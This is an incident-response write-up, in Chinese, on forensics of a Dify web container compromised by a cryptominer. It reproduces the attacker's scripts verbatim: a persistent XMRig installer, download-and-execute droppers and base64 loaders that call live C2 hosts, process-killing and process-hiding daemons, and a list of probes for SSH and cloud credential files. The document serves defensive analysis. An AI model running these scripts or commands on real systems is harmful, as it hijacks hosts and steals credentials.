现场取证

定位主机

对方有奇安信的设备,直接按照外联ip查到了涉事主机

主机排查,根据威胁情报比对

然后查看那个主机进程

1
top


cpu拉满了,包是挖矿病毒了
根据威胁情报显示,只有一个样本,4311文件

也找到了该进程

接着就是定位文件了

1
lsof -c 4311

但是有报错,显示的信息都是docker相关的,然后查看了一下docker容器的资源使用情况

1
docker stats


那有问题的就是这个了,停掉该容器之后,cpu占用就下来了,并且也没有4311在运行了,接着就是打包成镜像取证了

导出镜像取证

1
docker commit dify-web-1 dify-web:20251219
1
docker save -o dify-web.tar dify-web:20251219

镜像分析

静态分析

只读启动镜像

先加载镜像

1
docker load -i dify-web-backup.tar


然后启动

1
2
3
4
5
6
sudo docker run --rm -it \
--read-only \
--network none \
--entrypoint /bin/sh \
--name dify-forensics \
dify-web:20251219

当前目录查看是否有异常,结果发现了挖矿病毒启动脚本以及两个病毒文件还有一个挖矿配置

启动脚本sex.sh

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
#!/bin/bash

# Configuration
TAR_FILE="kal.tar.gz"
EXTRACT_DIR="xmrig-6.24.0"
SERVICE_NAME="system-update-service"
ARGS="--url pool.supportxmr.com:8080 --user 89Zr4vPaS8yTYRQE54tK1QGKRpsYZ6eJJYynfpfBf1zmLHECaskMPwd3wuTnQ4SYQ7QLkwVN8ur2QTQi9wkKMaCr2iXKa7j --pass sx --donate-level 0"
SERVICE_FILE="/etc/systemd/system/${SERVICE_NAME}.service"

# Determine binary path based on privileges
if [ "$(id -u)" -eq 0 ]; then
INSTALL_DIR="/usr/share/updater"
CONFIG_FILE="$INSTALL_DIR/miner.conf"
else
INSTALL_DIR="$(pwd)"
CONFIG_FILE="$(pwd)/miner.conf"
fi

BINARY_PATH="$INSTALL_DIR/$EXTRACT_DIR/xmrig"

# Function to create/update configuration file
save_config() {
cat > "$CONFIG_FILE" <<EOF
BINARY_PATH=$BINARY_PATH
ARGS=$ARGS
SERVICE_NAME=$SERVICE_NAME
EOF
echo "[*] Configuration saved to $CONFIG_FILE"
}

# Function to load configuration
load_config() {
if [ -f "$CONFIG_FILE" ]; then
source "$CONFIG_FILE"
echo "[*] Configuration loaded from $CONFIG_FILE"
fi
}

# First, check if root and move existing installation from pwd to /usr/share/updater
if [ "$(id -u)" -eq 0 ] && [ -d "$(pwd)/$EXTRACT_DIR" ] && [ ! -d "$INSTALL_DIR/$EXTRACT_DIR" ]; then
echo "[*] Found existing installation in $(pwd). Moving to $INSTALL_DIR..."
mkdir -p "$INSTALL_DIR"
mv "$(pwd)/$EXTRACT_DIR" "$INSTALL_DIR/" 2>/dev/null || true
if [ -f "$(pwd)/$TAR_FILE" ]; then
rm -f "$(pwd)/$TAR_FILE"
fi
if [ -f "$(pwd)/miner.conf" ]; then
mv "$(pwd)/miner.conf" "$INSTALL_DIR/miner.conf" 2>/dev/null || true
fi
fi

# Check if already installed
ALREADY_INSTALLED=0
if [ -f "$BINARY_PATH" ]; then
ALREADY_INSTALLED=1
echo "[*] Installation detected. Loading existing configuration..."
load_config
fi

# Download and setup if not already present
if [ ! -f "$BINARY_PATH" ]; then
echo "[*] Downloading xmrig..."

# Extract in temp location first
TEMP_DIR=$(mktemp -d)
cd "$TEMP_DIR"

curl -L -o "$TAR_FILE" --user-agent "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36" https://github.com/xmrig/xmrig/releases/download/v6.24.0/xmrig-6.24.0-linux-static-x64.tar.gz
echo "[*] Extracting archive..."
tar xvzf "$TAR_FILE"

# Move to install directory if root
if [ "$(id -u)" -eq 0 ]; then
echo "[*] Moving to $INSTALL_DIR..."
mkdir -p "$INSTALL_DIR"
mv "$EXTRACT_DIR" "$INSTALL_DIR/"
else
# For non-root, move to current directory
cd - > /dev/null
mv "$TEMP_DIR/$EXTRACT_DIR" "$(pwd)/$EXTRACT_DIR"
fi

rm -rf "$TEMP_DIR"
save_config
else
echo "[*] Binary already exists at $BINARY_PATH"
fi

chmod +x "$BINARY_PATH"

# If already installed, update systemd service if it exists
if [ $ALREADY_INSTALLED -eq 1 ]; then
echo "[*] Updating existing installation..."

# Check if service exists and update it
if [ -f "$SERVICE_FILE" ]; then
echo "[*] Found existing systemd service. Updating..."

# Stop the service before updating
if systemctl is-active --quiet "$SERVICE_NAME"; then
echo "[*] Stopping service..."
systemctl stop "$SERVICE_NAME"
fi

# Update service with new arguments
cat <<EOF > "$SERVICE_FILE"
[Unit]
Description=System Update Service
After=network.target

[Service]
Type=simple
ExecStart=${BINARY_PATH} ${ARGS}
Restart=always
RestartSec=10
User=root

[Install]
WantedBy=multi-user.target
EOF

systemctl daemon-reload
echo "[*] Service configuration updated"

# Restart the service
systemctl start "$SERVICE_NAME"

if systemctl is-active --quiet "$SERVICE_NAME"; then
echo "[+] Service restarted successfully"
fi
else
# Service doesn't exist yet, continue with normal installation
echo "[*] No systemd service found. Proceeding with initial setup..."
ALREADY_INSTALLED=0
fi
fi

# Attempt systemd setup (for new installations)
if [ $ALREADY_INSTALLED -eq 0 ]; then
INSTALLED_SYSTEMD=0
if [ "$(id -u)" -eq 0 ] && command -v systemctl >/dev/null 2>&1; then
echo "[*] Root privileges detected. Attempting systemd setup..."

cat <<EOF > "$SERVICE_FILE"
[Unit]
Description=System Update Service
After=network.target

[Service]
Type=simple
ExecStart=${BINARY_PATH} ${ARGS}
Restart=always
RestartSec=10
User=root

[Install]
WantedBy=multi-user.target
EOF

systemctl daemon-reload
systemctl enable "$SERVICE_NAME"
systemctl start "$SERVICE_NAME"

if systemctl is-active --quiet "$SERVICE_NAME"; then
echo "[+] Service started via systemd."
INSTALLED_SYSTEMD=1
save_config
fi
fi

# Fallback to nohup
if [ $INSTALLED_SYSTEMD -eq 0 ]; then
echo "[*] Starting with nohup..."
nohup "$BINARY_PATH" $ARGS >/dev/null 2>&1 &
save_config
fi
fi

可以从中得到矿池地址

1
--url pool.supportxmr.com:8080 --user 89Zr4vPaS8yTYRQE54tK1QGKRpsYZ6eJJYynfpfBf1zmLHECaskMPwd3wuTnQ4SYQ7QLkwVN8ur2QTQi9wkKMaCr2iXKa7j

可以看到持久化行为:

  • 尝试移动安装到 /usr/share/updater(root)
  • 生成配置文件 miner.conf
  • 尝试创建/更新 systemd service
    • system-update-service
    • ExecStart 指向 xmrig 并带 args
    • Restart=always → 保证开机自启
  • 如果 systemd 不可用,fallback 用 nohup 启动 → 静默运行
    根据矿池查找,目前在运行的挖矿程序就一个

恶意样本分拣

查看最近30天改动的文件(该操作是事后认真分析有的。。。。。)

1
find / -type f -mtime -30 2>/dev/null | grep -vE "/proc|/sys|/dev"

pm2日志分析

日志内容挺多的,然后让ai分析一下
大致内容如下:

命令 1
  • 行号: L40
  • 命令:
1
wget http://superminecraft.net.br:3000/sex.sh && bash sex.sh
  • 作用: 从 C2 服务器下载恶意脚本 sex.sh 并使用 bash 执行
  • C2 服务器: superminecraft.net.br:3000 (144.22.210.54)
  • 结果:
      - ✅ 下载成功 (5012 bytes)
      - ❌ 执行失败 - /bin/sh: bash: not found (Alpine 容器没有 bash)
命令 2
  • 行号: L57
  • 命令:
1
wget http://xpertclient.net:3000/sex.sh && bash sex.sh
  • 作用: 从另一个 C2 服务器尝试下载同一恶意脚本
  • C2 服务器: xpertclient.net:3000 (192.9.245.121)
  • 结果:
      - ❌ 下载失败 - wget: can't open 'sex.sh': File exists
      - ❌ 执行失败
命令 3
  • 行号: L83
  • 命令:
1
cd /tmp; wget http://23.132.164.54/bot; chmod 777 bot; ./bot || cd /tmp; curl -O http://23.132.164.54/bot; chmod 777 bot; ./bot
  • 作用: 下载僵尸程序 bot,赋予执行权限并运行;如果 wget 失败则尝试 curl
  • C2 服务器: 23.132.164.54:80
  • 下载大小: 3595KB (约 3.5MB 的僵尸程序)
  • 结果:
      - ✅ wget 下载成功
      - ❌ chmod: bot: No such file or directory (文件路径问题)
      - ❌ /bin/sh: ./bot: not found
      - ❌ /bin/sh: curl: not found
命令 4
  • 行号: L108
  • 命令:
1
echo Y3VybCAtcyAtLW1heC10aW1lIDUgaHR0cHM6Ly90ci5lYXJuLnRvcC9Mb2cucGhwP2lkPWFIUjBjSE02THk4eE1qQXVNamN1TWpNd0xqSXdPUT09 | base64 -d | sh
  • Base64 解码后:
1
curl -s --max-time 5 https://tr.earn.top/Log.php?id=aHR0cHM6Ly8xMjAuMjcuMjMwLjIwOQ==
  • 二次 Base64 解码: https://120.27.230.209
  • 作用: 向 C2 服务器回传被入侵主机的信息
  • C2 服务器: tr.earn.top120.27.230.209
  • 结果:
      - ❌ sh: curl: not found
命令 5
  • 行号: L124
  • 命令:
1
echo KGNvbW1hbmQgLXYgY3VybCA+L2Rldi9udWxsIDI+JjEgJiYgY3VybCAtcyBodHRwOi8vNDcuNzcuMjA0LjI0OC9pbmRleCB8IGJhc2gpIHx8IChjb21tYW5kIC12IHdnZXQgPi9kZXYvbnVsbCAyPiYxICYmIHdnZXQgLXEgLU8tIGh0dHA6Ly80Ny43Ny4yMDQuMjQ4L2luZGV4IHwgYmFzaCkgfHwgKGNvbW1hbmQgLXYgcHl0aG9uMyA+L2Rldi9udWxsIDI+JjEgJiYgcHl0aG9uMyAtYyAiaW1wb3J0IHVybGxpYi5yZXF1ZXN0IGFzIHUsc3VicHJvY2Vzczsgc3VicHJvY2Vzcy5Qb3BlbihbJ2Jhc2gnXSwgc3RkaW49c3VicHJvY2Vzcy5QSVBFKS5jb21tdW5pY2F0ZSh1LnVybG9wZW4oJ2h0dHA6Ly80Ny43Ny4yMDQuMjQ4L2luZGV4JykucmVhZCgpKSIpIHx8IChjb21tYW5kIC12IHB5dGhvbiA+L2Rldi9udWxsIDI+JjEgJiYgcHl0aG9uIC1jICJpbXBvcnQgdXJsbGliMiBhcyB1LHN1YnByb2Nlc3M7IHN1YnByb2Nlc3MuUG9wZW4oWydiYXNoJ10sIHN0ZGluPXN1YnByb2Nlc3MuUElQRSkuY29tbXVuaWNhdGUodS51cmxvcGVuKCdodHRwOi8vNDcuNzcuMjA0LjI0OC9pbmRleCcpLnJlYWQoKSkiKQ== | base64 -d | bash
  • Base64 解码后:
1
2
3
4
(command -v curl >/dev/null 2>&1 && curl -s http://47.77.204.248/index | bash) ||
(command -v wget >/dev/null 2>&1 && wget -q -O- http://47.77.204.248/index | bash) ||
(command -v python3 >/dev/null 2>&1 && python3 -c "import urllib.request as u,subprocess; subprocess.Popen(['bash'], stdin=subprocess.PIPE).communicate(u.urlopen('http://47.77.204.248/index').read())") ||
(command -v python >/dev/null 2>&1 && python -c "import urllib2 as u,subprocess; subprocess.Popen(['bash'], stdin=subprocess.PIPE).communicate(u.urlopen('http://47.77.204.248/index').read())")
  • 作用: 多阶段 loader,尝试使用 curl/wget/python3/python 下载并执行恶意载荷
  • C2 服务器: 47.77.204.248:80
  • 结果:
      - ❌ sh: curl: not found
      - ❌ /bin/sh: bash: not found
命令 6
  • 行号: L578
  • 命令:
1
wget -O - http://128.199.194.97:9001/setup2.sh|sh
  • 作用: 下载持久化脚本并直接通过管道执行
  • C2 服务器: 128.199.194.97:9001
  • 结果:
      - ❌ 进程被 SIGKILL 终止 (signal: 'SIGKILL')
命令 7
  • 行号: L1211, L2465 (多次重复执行)
  • 命令:
1
wget -O - http://128.199.194.97:9003/setup2.sh|sh
  • 作用: 从另一端口下载并执行 setup2.sh 脚本
  • C2 服务器: 128.199.194.97:9003
  • 下载大小: 13742 bytes
  • 结果:
      - ✅ 下载成功
      - ⚠️ 部分执行 - 脚本内的子命令部分成功
setup2.sh 脚本执行的子命令
1
rm -rf /tmp/node-compile-cache/*
  • 作用: 尝试删除 Node.js 编译缓存
  • 结果:
      - ❌ rm: can't remove '...': Permission denied (全部权限被拒绝)
1
wget ... -o /tmp/runnv/lived.sh
  • 作用: 下载持久化守护脚本
  • 下载大小: 1813 bytes
  • 结果:
      - ✅ 下载成功 - '/tmp/runnv/lived.sh' saved
1
2
nohup /tmp/runnv/lived.sh
nohup /tmp/runnv/alive.sh
  • 作用: 使用 nohup 在后台运行持久化脚本
  • 结果:
      - ❌ nohup: can't execute '/tmp/runnv/lived.sh': No such file or directory
      - ❌ nohup: can't execute '/tmp/runnv/alive.sh': No such file or directory
1
sudo ...
  • 作用: 尝试以 root 权限执行命令
  • 结果:
      - ❌ sh: sudo: not found (9 次全部失败)
获取当前进程信息
  • 结果:
      - ✅ 成功 - 泄露进程目录列表(arch_status, environ, fd, maps 等 45 个项目)
读取环境变量 ⚠️ 严重泄露
  • 结果:
      - ✅ 成功 - 完整泄露了以下敏感信息:
        - HOSTNAME=997297f54e22
        - NODE_ENV=production
        - EDITION=SELF_HOSTED
        - COMMIT_SHA=809a0ab6bf52326e14444e396f24bab3ef3c504a
        - MARKETPLACE_URL=https://marketplace.dify.ai
        - PM2 配置信息等
探测 /etc 目录
  • 结果:
      - ✅ 成功 - 泄露目录列表(包括 passwd, shadow, hosts 等)
读取 /etc/shadow
  • 结果:
      - ❌ EACCES: permission denied
探测当前工作目录
  • 结果:
      - ✅ 成功 - 泄露文件列表:.next, am64, e386, entrypoint.sh, i18n, node_modules, package.json, public, server.js, sex.sh
      - ⚠️ 注意:sex.sh 已存在于目录中
尝试读取 Firebase 服务账号
  • 行号: L255-260
  • 命令: open /proc/self/cwd/serviceAccountKey.json
  • 作用: 尝试窃取 Firebase/GCP 凭证
  • 结果:
      - ❌ ENOENT: no such file or directory
尝试读取 Prisma 配置
  • 命令:
      - scandir /proc/self/cwd/prisma
      - open /proc/self/cwd/prisma/.env
      - open /proc/self/cwd/prisma/schema.prisma
  • 作用: 尝试窃取数据库连接信息
  • 结果:
      - ❌ 全部失败 - 文件不存在
读取 /etc/passwd ⚠️ 泄露
  • 结果:
      - ✅ 成功 - 泄露了完整的用户列表:
        - root:x:0:0:root:/root:/bin/sh
        - node:x:1000:1000::/home/node:/bin/sh
        - 以及其他系统账号
探测 /root 目录下的敏感文件

  - /root/.ssh/id_rsa (SSH 私钥)
  - /root/.aws/credentials (AWS 凭证)
  - /root/.kube/config (K8s 配置)
  - /root/.docker/config (Docker 认证)
  - /root/.config/gcloud/* (GCP 凭证)
  - /root/.git-credentials (Git 凭证)
  - /root/.bash_history (命令历史)

  • 作用: 尝试窃取各类云服务凭证
  • 结果:
      - ❌ 全部 EACCES: permission denied
探测 /home/node 目录
  • 行号: L444-575
  • 命令: 探测 node 用户的敏感文件(同上列表)
  • 作用: 尝试从应用用户目录窃取凭证
  • 结果:
      - ❌ 全部 ENOENT: no such file or directory

分拣恶意文件

针对一些可能存在的路径进行查找所有具有执行权限的文件(该操作为当时急着写报告应付领导做的,所以显得比较杂乱无章,实际应该根据日志来一步步找恶意文件)

1
find / -xdev -type f \( -path "/tmp/*" -o -path "/var/tmp/*" -o -path "/dev/shm/*" -o -path "/app/*" \) -mtime -30 -perm /111 2>/dev/null


分析这些文件的真实类型

1
for f in /tmp/gates.lod /tmp/mpsl.ts /tmp/arm6.ts /tmp/4311 /tmp/alive.service /tmp/boons.sh /tmp/arm5.ts /tmp/conf.n /tmp/lived.service /tmp/zzh.sh /tmp/arm.ts /tmp/runnv/lived.sh /tmp/runnv/alive.sh /tmp/runnv/runnv /tmp/x88 /tmp/mips.ts /app/web/e386 /app/web/am64; do echo "===== $f ====="; head -c 4 "$f" 2>/dev/null | xxd; done


找到伪装成ts文件的可疑文件,这些应该就是矿机组件

1
2
3
4
5
6
7
8
9
10
/tmp/mpsl.ts        ELF
/tmp/arm6.ts ELF
/tmp/arm5.ts ELF
/tmp/arm.ts ELF
/tmp/mips.ts ELF
/tmp/x88 ELF
/tmp/4311 ELF
/tmp/runnv/runnv ELF
/app/web/e386 ELF
/app/web/am64 ELF

其他应该是shell控制脚本,调度 & 守护挖矿病毒的

1
2
3
4
/tmp/boons.sh
/tmp/zzh.sh
/tmp/runnv/lived.sh
/tmp/runnv/alive.sh

持久化文件是

1
2
/tmp/alive.service
/tmp/lived.service

Dockersystemd 不会生效,但这说明攻击脚本也被用来打真实宿主机 / VPS

还原攻击链投放过程

1
for f in /tmp/boons.sh /tmp/zzh.sh /tmp/runnv/lived.sh /tmp/runnv/alive.sh; do echo "===== $f ====="; sed -n '1,200p' "$f"; done

结果是

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
===== /tmp/boons.sh =====
#!/bin/bash

cd /tmp
wget http://193.35.154.205/x88
wget http://193.35.154.205/arm.ts
wget http://193.35.154.205/arm5.ts
wget http://193.35.154.205/arm6.ts
wget http://193.35.154.205/mips.ts
wget http://193.35.154.205/mpsl.ts

curl -O http://193.35.154.205/x88
curl -O http://193.35.154.205/arm.ts
curl -O http://193.35.154.205/arm5.ts
curl -O http://193.35.154.205/arm6.ts
curl -O http://193.35.154.205/mips.ts
curl -O http://193.35.154.205/mpsl.ts

chmod 777 *

./x88
./arm.ts
./arm5.ts
./arm6.ts
./mips.ts
./mpsl.ts
===== /tmp/zzh.sh =====
#!/bin/bash
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://193.35.154.205/ionetworks.mips; chmod +x ionetworks.mips; ./ionetworks.mips; rm -rf ionetworks.mips
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://193.35.154.205/ionetworks.mpsl; chmod +x ionetworks.mpsl; ./ionetworks.mpsl; rm -rf ionetworks.mpsl
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://193.35.154.205/ionetworks.x86; chmod +x ionetworks.x86; ./ionetworks.x86; rm -rf ionetworks.x86
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://193.35.154.205/ionetworks.arm6; chmod +x ionetworks.arm6; ./ionetworks.arm6; rm -rf ionetworks.arm6
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://193.35.154.205/ionetworks.arm4; chmod +x ionetworks.arm4; ./ionetworks.arm4; rm -rf ionetworks.arm4
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://193.35.154.205/ionetworks.arm5; chmod +x ionetworks.arm5; ./ionetworks.arm5; rm -rf ionetworks.arm5
===== /tmp/runnv/lived.sh =====
#!/bin/bash
INTERVAL=3
while true; do
pids=$(ps aux | grep '[r]unnv' | grep '/tmp/runnv/runnv' | awk '{print $2}')
for pid in $pids; do
if [ -n "$pid" ]; then
# 确保 /proc/$pid 目录存在
if [ -d "/proc/$pid" ]; then
# 执行挂载操作
echo "发现进程 PID: $pid"
mount --bind /proc/2 /proc/$pid
echo "已将 /proc/2 挂载到 /proc/$pid"
else
echo "/proc/$pid 目录不存在,无法挂载"
fi
fi
done
SELF_PID=$$

# 列出所有进程,只取 PID 与完整命令行
ps -eo pid,args | grep -v runnv | grep -v grep | while read pid cmd_rest; do

# 跳过自身
if [ "$pid" = "$SELF_PID" ]; then
continue
fi

# ---- 1) sh 脚本 ----
case "$cmd_rest" in
*.sh*|sh* )
echo "Killing SH script: $pid - $cmd_rest"
kill -9 "$pid"
continue
;;
esac

# ---- 2) Python 程序(python / python3 / …)----
case "$cmd_rest" in
*python* )
echo "Killing Python: $pid - $cmd_rest"
kill -9 "$pid"
continue
;;
esac

# ---- 3) /tmp 任意子目录下的程序 ----
# 检查命令行是否包含 "/tmp/"
case "$cmd_rest" in
*/tmp/* )
echo "Killing /tmp program: $pid - $cmd_rest"
kill -9 "$pid"
continue
;;
esac

# ---- 4) ELF 程序 ----
exe_file="/proc/$pid/exe"
if [ -e "$exe_file" ]; then
if file "$exe_file" 2>/dev/null | grep -q "ELF"; then
echo "Killing ELF: $pid - $cmd_rest"
kill -9 "$pid"
continue
fi
fi

done
find /tmp -mindepth 1 -maxdepth 1 ! -name runnv -exec rm -rf -- {} +
sleep $INTERVAL
done
===== /tmp/runnv/alive.sh =====
#!/bin/bash

INTERVAL=1

while true; do
ps -eo pid,pcpu --no-headers | awk '$2>=40 {print $1}' | while read -r pid; do
[ -d "/proc/$pid" ] || continue
exe_path=$(readlink "/proc/$pid/exe" 2>/dev/null || echo "")
cmdline=$(tr '\0' ' ' < "/proc/$pid/cmdline" 2>/dev/null || echo "")
if [[ "$exe_path" == /tmp/runnv/* ]] || echo "$cmdline" | grep -q "/tmp/runnv/runnv"; then
echo "Skip PID $pid (runnv: $exe_path)"
continue
fi

if echo "$cmdline" | grep -q "zzh"; then
echo "Skip PID $pid (whitelist: zzh)"
continue
fi

echo "Kill PID $pid (CPU>=40%, exe=$exe_path, cmd=$cmdline)"
kill -9 "$pid" 2>/dev/null
done

sleep "$INTERVAL"
done

至此攻击链路清晰了

1
2
3
4
5
6
7
8
9
10
11
RCE(dify Web) 

执行 /tmp/boons.sh 或 /tmp/zzh.sh

从 193.35.154.205 拉取多架构矿机

直接全跑(不判断架构)

启动 /tmp/runnv/runnv

alive.sh + lived.sh 做保活 & 对抗

各脚本的功能就是

  • 1、/tmp/boons.sh —— 初始投放器(入口)
1
2
3
wget / curl 多架构
chmod 777 *
全部直接执行

特点:
不判断 CPU
哪个能跑就活下来
这是 RCE 后第一阶段 payload
这是“第一落地脚本”

  • 2、/tmp/zzh.sh —— 备用投放器
1
2
3
wget ionetworks.*
执行
立刻删除

用途:
如果 boons.sh 被杀
或在精简系统中失败
再试一轮

  • 3、/tmp/runnv/lived.sh —— 对抗 & 清场
    矿机特征
    kill 所有:
    -.sh
    - python
    - /tmp/*
    - 所有 ELF(除了自己)
    bind mount /proc/2/proc/$pid
    用于隐藏真实进程信息
  • 4、/tmp/runnv/alive.sh —— 高 CPU 清场
1
2
3
CPU >= 40% 的进程

不是自己 → kill -9

目的:

  • 抢 CPU
  • 杀云厂商安全 agent
  • 杀其他矿机
    最终网站根目录下存在e386am64是脚本跑了一段时间后的升级行为,发现该目录可横向写入

动态分析

启动镜像

1
sudo docker run -it --rm --name dify-test -p 3000:3000 --network bridge --cap-drop ALL --security-opt no-new-privileges -v dify-pm2:/.pm2 -v dify-tmp:/tmp -v dify-log:/app/logs -e NODE_ENV=production -e DEBUG="next:*" dify-web:20251219


换成后台启动算了

1
sudo docker run -d --rm --name dify-test -p 3000:3000 --network bridge --cap-drop ALL --security-opt no-new-privileges -v dify-pm2:/.pm2 -v dify-tmp:/tmp -v dify-log:/app/logs -e NODE_ENV=production -e DEBUG="next:*" dify-web:20251219


然后浏览器访问入口http://ip:3000/。。。。。。额,太吃配置了,卡死

但是打通了

打通之后,那就是要根据时间线排查确认最初入口点是通过CVE-2025-55182打进去的
关闭容器,关闭都卡死。。。。

时间线梳理

分析

先梳理下时间 + 类型

1
for f in /tmp/gates.lod /tmp/mpsl.ts /tmp/arm6.ts /tmp/4311 /tmp/alive.service /tmp/boons.sh /tmp/arm5.ts /tmp/conf.n /tmp/lived.service /tmp/zzh.sh /tmp/arm.ts /tmp/runnv/lived.sh /tmp/runnv/alive.sh /tmp/runnv/runnv /tmp/x88 /tmp/mips.ts /app/web/e386 /app/web/am64; do echo "===== $f ====="; stat "$f"; file "$f"; done

输出是

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
===== /tmp/gates.lod =====
File: /tmp/gates.lod
Size: 4 Blocks: 8 IO Block: 4096 regular file
Device: 5fh/95d Inode: 1772633 Links: 1
Access: (0777/-rwxrwxrwx) Uid: ( 1001/ UNKNOWN) Gid: ( 0/ root)
Access: 2025-12-11 01:57:42.000000000 +0000
Modify: 2025-12-11 01:57:42.000000000 +0000
Change: 2025-12-20 14:22:52.266990384 +0000
/bin/sh: file: not found
===== /tmp/mpsl.ts =====
File: /tmp/mpsl.ts
Size: 88312 Blocks: 176 IO Block: 4096 regular file
Device: 5fh/95d Inode: 1772636 Links: 1
Access: (0777/-rwxrwxrwx) Uid: ( 1001/ UNKNOWN) Gid: ( 0/ root)
Access: 2025-12-10 20:31:40.000000000 +0000
Modify: 2025-12-10 20:31:40.000000000 +0000
Change: 2025-12-20 14:22:52.268317682 +0000
/bin/sh: file: not found
===== /tmp/arm6.ts =====
File: /tmp/arm6.ts
Size: 73072 Blocks: 144 IO Block: 4096 regular file
Device: 5fh/95d Inode: 1772630 Links: 1
Access: (0777/-rwxrwxrwx) Uid: ( 1001/ UNKNOWN) Gid: ( 0/ root)
Access: 2025-12-10 20:31:37.000000000 +0000
Modify: 2025-12-10 20:31:37.000000000 +0000
Change: 2025-12-20 14:22:52.265855384 +0000
/bin/sh: file: not found
===== /tmp/4311 =====
File: /tmp/4311
Size: 1223123 Blocks: 2392 IO Block: 4096 regular file
Device: 5fh/95d Inode: 1772626 Links: 1
Access: (0777/-rwxrwxrwx) Uid: ( 1001/ UNKNOWN) Gid: ( 0/ root)
Access: 2025-12-10 23:56:20.000000000 +0000
Modify: 2025-12-10 23:56:20.000000000 +0000
Change: 2025-12-20 14:22:52.263406460 +0000
/bin/sh: file: not found
===== /tmp/alive.service =====
File: /tmp/alive.service
Size: 258 Blocks: 8 IO Block: 4096 regular file
Device: 5fh/95d Inode: 1772627 Links: 1
Access: (0777/-rwxrwxrwx) Uid: ( 1001/ UNKNOWN) Gid: ( 0/ root)
Access: 2025-12-08 10:04:40.000000000 +0000
Modify: 2025-12-08 10:04:40.000000000 +0000
Change: 2025-12-20 14:22:52.263406460 +0000
/bin/sh: file: not found
===== /tmp/boons.sh =====
File: /tmp/boons.sh
Size: 519 Blocks: 8 IO Block: 4096 regular file
Device: 5fh/95d Inode: 1772631 Links: 1
Access: (0777/-rwxrwxrwx) Uid: ( 1001/ UNKNOWN) Gid: ( 0/ root)
Access: 2025-12-10 20:31:32.000000000 +0000
Modify: 2025-12-10 20:31:32.000000000 +0000
Change: 2025-12-20 14:22:52.266386341 +0000
/bin/sh: file: not found
===== /tmp/arm5.ts =====
File: /tmp/arm5.ts
Size: 73072 Blocks: 144 IO Block: 4096 regular file
Device: 5fh/95d Inode: 1772629 Links: 1
Access: (0777/-rwxrwxrwx) Uid: ( 1001/ UNKNOWN) Gid: ( 0/ root)
Access: 2025-12-10 20:31:36.000000000 +0000
Modify: 2025-12-10 20:31:36.000000000 +0000
Change: 2025-12-20 14:22:52.265302250 +0000
/bin/sh: file: not found
===== /tmp/conf.n =====
File: /tmp/conf.n
Size: 73 Blocks: 8 IO Block: 4096 regular file
Device: 5fh/95d Inode: 1772632 Links: 1
Access: (0777/-rwxrwxrwx) Uid: ( 1001/ UNKNOWN) Gid: ( 0/ root)
Access: 2025-12-19 03:54:03.000000000 +0000
Modify: 2025-12-19 03:54:03.000000000 +0000
Change: 2025-12-20 14:22:52.266695658 +0000
/bin/sh: file: not found
===== /tmp/lived.service =====
File: /tmp/lived.service
Size: 258 Blocks: 8 IO Block: 4096 regular file
Device: 5fh/95d Inode: 1772634 Links: 1
Access: (0777/-rwxrwxrwx) Uid: ( 1001/ UNKNOWN) Gid: ( 0/ root)
Access: 2025-12-08 10:04:40.000000000 +0000
Modify: 2025-12-08 10:04:40.000000000 +0000
Change: 2025-12-20 14:22:52.267312127 +0000
/bin/sh: file: not found
===== /tmp/zzh.sh =====
File: /tmp/zzh.sh
Size: 1010 Blocks: 8 IO Block: 4096 regular file
Device: 5fh/95d Inode: 1772643 Links: 1
Access: (0777/-rwxrwxrwx) Uid: ( 1001/ UNKNOWN) Gid: ( 0/ root)
Access: 2025-12-11 03:06:12.000000000 +0000
Modify: 2025-12-11 03:06:12.000000000 +0000
Change: 2025-12-20 14:22:52.302416164 +0000
/bin/sh: file: not found
===== /tmp/arm.ts =====
File: /tmp/arm.ts
Size: 74776 Blocks: 152 IO Block: 4096 regular file
Device: 5fh/95d Inode: 1772628 Links: 1
Access: (0777/-rwxrwxrwx) Uid: ( 1001/ UNKNOWN) Gid: ( 0/ root)
Access: 2025-12-10 20:31:34.000000000 +0000
Modify: 2025-12-10 20:31:34.000000000 +0000
Change: 2025-12-20 14:22:52.264720946 +0000
/bin/sh: file: not found
===== /tmp/runnv/lived.sh =====
File: /tmp/runnv/lived.sh
Size: 1813 Blocks: 8 IO Block: 4096 regular file
Device: 5fh/95d Inode: 1772640 Links: 1
Access: (0777/-rwxrwxrwx) Uid: ( 1001/ UNKNOWN) Gid: ( 0/ root)
Access: 2025-12-08 10:04:40.000000000 +0000
